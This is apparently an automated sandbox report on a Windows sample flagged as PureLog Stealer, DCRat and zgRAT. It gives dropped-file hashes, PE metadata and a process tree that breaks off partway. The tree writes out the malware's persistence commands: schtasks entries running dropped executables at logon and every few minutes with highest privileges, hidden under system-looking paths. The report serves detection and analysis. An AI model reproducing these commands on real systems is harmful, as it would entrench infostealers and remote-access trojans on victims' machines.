Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....g.............................'... ...@....@.. ....................................@..................................'..W....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......(!..\.............................................................(.....0..!.......r...pre..p.{....(....(....&..&......................0..........ri..p(....&..&......................0..K.......s.......}...........s....s....(....~....-........s.........~....s....(......(....*.BSJB............v4.0.30319......l.......#~..@.......#Strings....4.......#US.,.......#GUID...<... ...#Blob...........WU........%3................................................................

C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	14385664
Entropy (8bit):	1.4645845784334848
Encrypted:	false
SSDEEP:	24576:LAkClP6KrD3UGYB2Ue9L35+2WcESjvGMJoIlT1sMNAje+Iv4dr6/jg5EI5VG:khMsccEmgIT1sJjdIvqr4tI5
MD5:	39953ACD4FD32884E6CAD0D1E4688051
SHA1:	31579801F012118285F1FD48CCF63B07EBE1594A
SHA-256:	5773E581CE59418EE4C3F205D4FA16AD74718D16D1D8E4DD37332BB4ECB850BF
SHA-512:	3823AD17C90EF4454A774E59D9B5E37B11ABF451D6485C4BF7F54CF04738D01A3B6020346FC7817CB48B32CFCEFBCE46667B3B185BAF44C0FF00ECB4E027DF35
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....R}g.................:..........>Y... ...`....@.. ....................................@..................................X..K....`.. ............................................................................ ............... ..H............text...D9... ...:.................. ..`.rsrc... ....`.......<..............@....reloc...............@..............@..B................ Y......H....................... ...2t..gX.......................................0..........(.... ........8........E........8...\.......8....(.... ....8....(.... ....~....{....:....& ....8....(.... ....~....{u...9....& ....8........0..'....... ........8........E....G.......................V...8B...r...ps....z~....(Q... .... .... ....s....~....(U....... ....8....8.... ....8........~....(Y...~....(]... ....<.... ....~....{....:S...& ....8H...~....9.... ....84......... ....~....{....9

C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\b1829d2998bf98

Download File

Process:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	198
Entropy (8bit):	5.7053545251893185
Encrypted:	false
SSDEEP:	6:NUQG3EQ9VHmY1f4dd1o3O9JqhM50ndeHbiG2RBAj0Ux:FK9Vd1fAhMM2dybiG2sf
MD5:	D164632CA511D0AD5EC7D57E7E0CB025
SHA1:	73465130A5B106869D672CB2E385A1C97714406B
SHA-256:	DE03839196DFAC63B001724481E42E944247EE525816846034C9A1C7EFD075A2
SHA-512:	14A7E85412A0938A88FE9089359DF94BB008C9BDAACE8396BB4C77605A1FC1A60BC5DD521631D0AD5165ED4DABDE091B2522BE010EA27CE9566133102B45ADE0
Malicious:	false
Preview:	IoM1RJ6k8mqJmcbzjrYp6fkOWM4V419XKdpIWvhg9dUW4Lasf0dcRgOmD7eFPlpHnT9IxTdxJ1qdLOULvLzEXgGnOCEYRcQYyMslMR4MXpSZ0vaznSTDvltGNV4uOEgqkRo8gt9eRnrsOqxclPv8JNnMdmX0XJ7SJlyiGcS4TzwH3A2gicJ9TihXobe4VJHHqZjm2O

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.793964247365998
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXXtQvj+fcRvpG6LyXKvj:Vx993DEUsC+Um8
MD5:	81A882556A63121621504871B31AE370
SHA1:	050E8B5FA57D2D9EB76ADB27CE96BD77F2B62725
SHA-256:	43AD74B6616F6382792E6791E5F15B7B20D26A1CC9FE0DB2CA8D528B2C16B97B
SHA-512:	0A19A7B6DC394B31D19D2119EF2196AF4B0DD69FA34488BB923BA0D3779A0D856590C870254D5641BFCCC026F13ACFC46D41A1DF65B24C7A3BC49444ECE709C1
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 10/01/2025 01:19:05..01:19:05, error: 0x80072746.01:19:10, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	1.6270888613256027
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	7aHY4r6vXR.exe
File size:	14'707'581 bytes
MD5:	ccd01051f9e8bf3301b3bdd406f0bc24
SHA1:	4e9f71953bd348261e9342f7dd230f274d808e4a
SHA256:	4fa025632546c9a5c346cde16c86c5d129d8381ace82e1a7d59ca865f948c533
SHA512:	93839aad8a1c533c48c9ef9cfa87c6b5e3abefe0054be20d7a0f1bd8affa2e1787b529ed4fc0371a6874ba7670b50270b554add56436540d4b197d14337455de
SSDEEP:	24576:2TbBv5rUyXVnAkClP6KrD3UGYB2Ue9L35+2WcESjvGMJoIlT1sMNAje+Iv4dr6/n:IBJAhMsccEmgIT1sJjdIvqr4tI5E
TLSH:	58E6CF0675C68E33C2741A354667123E92A0E7253622EB0F761F2497A807BF58F762F3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I..>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I..=>...I..=>.

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x41f530
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6220BF8D [Thu Mar 3 13:15:57 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	12e12319f1029ec4f8fcbed7e82df162

Entrypoint Preview

Instruction
call 00007F383923251Bh
jmp 00007F3839231E2Dh
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F3839224C77h
mov dword ptr [esi], 004356D0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 004356D8h
mov dword ptr [ecx], 004356D0h
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 004356B8h
push eax
call 00007F38392352BFh
test byte ptr [ebp+08h], 00000001h
pop ecx
je 00007F3839231FBCh
push 0000000Ch
push esi
call 00007F3839231579h
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F3839224BF2h
push 0043BEF0h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F3839234D79h
int3
push ebp
mov ebp, esp
sub esp, 0Ch
lea ecx, dword ptr [ebp-0Ch]
call 00007F3839231F38h
push 0043C0F4h
lea eax, dword ptr [ebp-0Ch]
push eax
call 00007F3839234D5Ch
int3
jmp 00007F38392367F7h
int3
int3
int3
int3
push 00422900h
push dword ptr fs:[00000000h]

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x3d070	0x34	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3d0a4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x64000	0xdff8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x72000	0x233c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3b11c	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x355f8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x33000	0x278	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3c5ec	0x120	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x31bdc	0x31c00	2831bb8b11e3209658a53131886cdf98	False	0.5909380888819096	data	6.712962136932442	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x33000	0xaec0	0xb000	042f11346230ca5aa360727d9908e809	False	0.4579190340909091	data	5.261605615899847	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3e000	0x24720	0x1000	9670b581969e508258d8bc903025de5e	False	0.451416015625	data	4.387459135575936	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x63000	0x190	0x200	c83554035c63bb446c6208d0c8fa0256	False	0.4453125	data	3.3327310103022305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x64000	0xdff8	0xe000	ba08fbcd0ed7d9e6a268d75148d9914b	False	0.6373639787946429	data	6.638661032196024	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x72000	0x233c	0x2400	40b5e17755fd6fdd34de06e5cdb7f711	False	0.7749565972222222	data	6.623012966548067	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x64650	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x65198	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x66748	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.47832369942196534
RT_ICON	0x66cb0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.5410649819494585
RT_ICON	0x67558	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.4933368869936034
RT_ICON	0x68400	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.5390070921985816
RT_ICON	0x68868	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	United States	0.41393058161350843
RT_ICON	0x69910	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.3479253112033195
RT_ICON	0x6beb8	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9809269502193401
RT_DIALOG	0x70588	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0x70358	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0x70498	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0x70228	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0x6fef0	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0x6fc98	0x252	data	English	United States	0.5757575757575758
RT_STRING	0x70f68	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x71150	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x71320	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x714d8	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x71620	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x71a90	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x71bf8	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x71d50	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x71e60	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x71f20	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x6fc30	0x68	data	English	United States	0.7019230769230769
RT_MANIFEST	0x70810	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	GetLastError, SetLastError, FormatMessageW, GetCurrentProcess, DeviceIoControl, SetFileTime, CloseHandle, CreateDirectoryW, RemoveDirectoryW, CreateFileW, DeleteFileW, CreateHardLinkW, GetShortPathNameW, GetLongPathNameW, MoveFileW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileAttributesW, GetFileAttributesW, FindClose, FindFirstFileW, FindNextFileW, InterlockedDecrement, GetVersionExW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleFileNameW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, GetCurrentProcessId, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, GetProcessAffinityMask, CreateThread, SetThreadPriority, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, SetEvent, ResetEvent, ReleaseSemaphore, WaitForSingleObject, CreateEventW, CreateSemaphoreW, GetSystemTime, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, FileTimeToLocalFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, SetCurrentDirectoryW, GetExitCodeProcess, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, ExpandEnvironmentStringsW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetTimeFormatW, GetDateFormatW, GetNumberFormatW, DecodePointer, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, GetOEMCP, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, LocalFree, RtlUnwind, EncodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, HeapReAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipAlloc, GdipDisposeImage, GdipCloneImage, GdipCreateBitmapFromStream, GdipCreateBitmapFromStreamICM, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Target ID:	0
Start time:	23:42:06
Start date:	09/01/2025
Path:	C:\Users\user\Desktop\7aHY4r6vXR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\7aHY4r6vXR.exe"
Imagebase:	0xbd0000
File size:	14'707'581 bytes
MD5 hash:	CCD01051F9E8BF3301B3BDD406F0BC24
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1734834073.0000000006F18000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1735483300.00000000058B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:42:06
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\ChainBroker\WiJ0Q2cIafyWfcOMJ8mrmlFuDvVbi9nZIDl7gyLiG4eFyDELulT2kNl2MWww.vbe"
Imagebase:	0x910000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:42:11
Start date:	09/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\ChainBroker\IrbV6YakyWCvQIuALcoa2IhBwWZ19ItpwUlqov7vyFBfFx5s16nM.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:42:12
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:42:12
Start date:	09/01/2025
Path:	C:\ChainBroker\bridgeServerFontSavesMonitor.exe
Wow64 process (32bit):	false
Commandline:	"C:\ChainBroker/bridgeServerFontSavesMonitor.exe"
Imagebase:	0xca0000
File size:	14'385'664 bytes
MD5 hash:	39953ACD4FD32884E6CAD0D1E4688051
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000004.00000000.1794524656.0000000000CA2000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000004.00000002.1854260219.000000001321B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs Detection: 60%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:42:15
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:42:15
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:42:15
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:42:15
Start date:	09/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline"
Imagebase:	0x7ff667eb0000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:42:15
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES69DB.tmp" "c:\Windows\System32\CSCAAFDA77B4B0340CF902F598B7E2DA6.TMP"
Imagebase:	0x7ff78b860000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 6 /tr "'C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 14 /tr "'C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 7 /tr "'C:\Windows\SchCache\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 13 /tr "'C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOw" /sc ONLOGON /tr "'C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 13 /tr "'C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:42:16
Start date:	09/01/2025
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
